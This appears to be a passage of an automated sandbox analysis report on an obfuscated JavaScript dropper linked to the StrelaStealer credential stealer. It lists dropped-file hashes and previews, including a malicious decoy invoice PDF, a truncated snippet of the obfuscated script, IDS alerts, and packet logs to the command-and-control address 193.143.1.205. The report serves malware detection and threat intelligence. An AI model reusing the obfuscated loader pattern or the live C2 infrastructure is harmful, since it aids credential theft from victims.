File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f9eccbc9-047d-4b4d-aed6-0a7e0b7a6f28.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15968), with CRLF line terminators
Entropy (8bit):	4.922819882524462
TrID:
File name:	13211101981378323787.js
File size:	19'478 bytes
MD5:	fbe3e10fa745e5b3a01a32c53604bb25
SHA1:	24c7a7a8b8d78b0b2b5378fcc8087ded963bde35
SHA256:	782642075343595c1fdec64304787311ab69548259ccd234cf8ebf7cafed86bc
SHA512:	c65ceb6f30b7d5e41e2a33ef2e8f7449cf567d96a8860c73aa1d6186d5a86e3c6562bd3d8378ea491ba26f3614739f39b4bffe41d392ebcad6f6c36c4ce84fc1
SSDEEP:	384:OAJ2g2UUtDYL3h3y743Eg7WQo/0LlA7QHvvLCQPDgskWm1V7Wb25yrDgC:g7imQP0skWm1V7Wb2IPz
TLSH:	899222F54D16A4EBDBCC4398394B0DDB31484289AF88986C6D91AE6C1359374B9FB3F0
File Content Preview:	function hytdtq(){pxxgzyfu=[1031,3079,5127,4103,2055,3072];var dgcavmlfz=this[uyfshs+obsdald+syofs+ivrzbzk+eiknrc+eazhpbwx+mknqoyoyy+nhdxlcwj](this[ewuwscwum+pfrrcvpm+ytlfizpkg+syofs+exgft+uyfshs+nhdxlcwj][qpmxoxb+syofs+eiknrc+obsdald+nhdxlcwj+eiknrc+vmns

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:04:51.202784+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:04:51.202784+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:04:53.431408+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:04:50.253124952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:50.258058071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:50.258178949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:50.260848999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:50.265714884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202635050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202707052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202758074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202784061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.202817917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202848911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202883959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202899933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.202919960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.202927113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.202975035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.203010082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.203039885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.203062057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.203110933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.203500986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.207972050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208035946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208072901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208107948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.208153963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.208595991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208652020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208687067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208722115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208731890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.208758116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.208811045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.209147930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.209202051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.209254026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.209273100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.209291935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.209297895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.209326982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.209372997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.213123083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213175058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213210106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213238001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.213243961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213279963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213290930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.213534117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213568926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213623047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.213846922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.213956118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.214011908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.214024067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.214061975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.214303017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.235125065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.235156059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.235214949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.276227951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.276329041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.276407957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.318917990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.318985939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319024086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319076061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319078922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319116116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319133997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319154978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319204092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319246054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319299936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319353104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319387913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319401979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319427013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319464922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319478035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319511890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319619894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319654942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319689989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319706917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319725990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319760084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.319787979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.319793940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322613955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322668076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.322671890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322710037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322753906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.322796106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322830915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322843075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.322868109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322901964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322932005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.322938919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.322992086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.323025942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.323061943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.323098898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.323147058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.323213100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.323247910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.323261023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.323282957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.323328972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.323338032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326174974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326211929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326248884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326266050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.326299906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.326309919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326347113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326400042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326402903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.326436043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326472044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.326492071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.327213049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.327574968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.363784075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.363837004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.363854885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.363872051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.363890886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.363940954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.363955975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.364062071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.405529976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.405584097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.405611038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446093082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446170092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446223974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446224928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446259022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446295977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446305990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446340084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446374893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446394920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446429014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446449041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446464062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446497917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446522951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446537018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446572065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446603060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446633101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446664095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446681023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446717024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446769953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446770906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446809053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446841955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446861029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.446882010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.446928024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.447004080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447074890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447110891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447127104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.447205067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447238922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447266102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.447274923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447330952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.447360039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447413921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447449923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447479010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.447487116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447535992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.447835922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447890997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447926998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.447942019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448040009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448076010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448090076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448112011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448148966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448163033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448265076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448301077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448312044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448666096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448700905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448734999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448743105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448791027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448797941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448832035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448867083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448873997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448905945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448940992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.448955059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.448976994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449011087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449047089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449079990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.449101925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.449594021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449629068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449666977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449680090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.449718952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449754000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449773073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.449788094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449831009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449842930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.449866056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449899912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449915886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.449934959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449971914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.449986935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.450474977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.450510979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.450524092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.450550079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.450596094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.450634956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.450668097 CET	80	49704	193.143.1.205	192.168.2.5
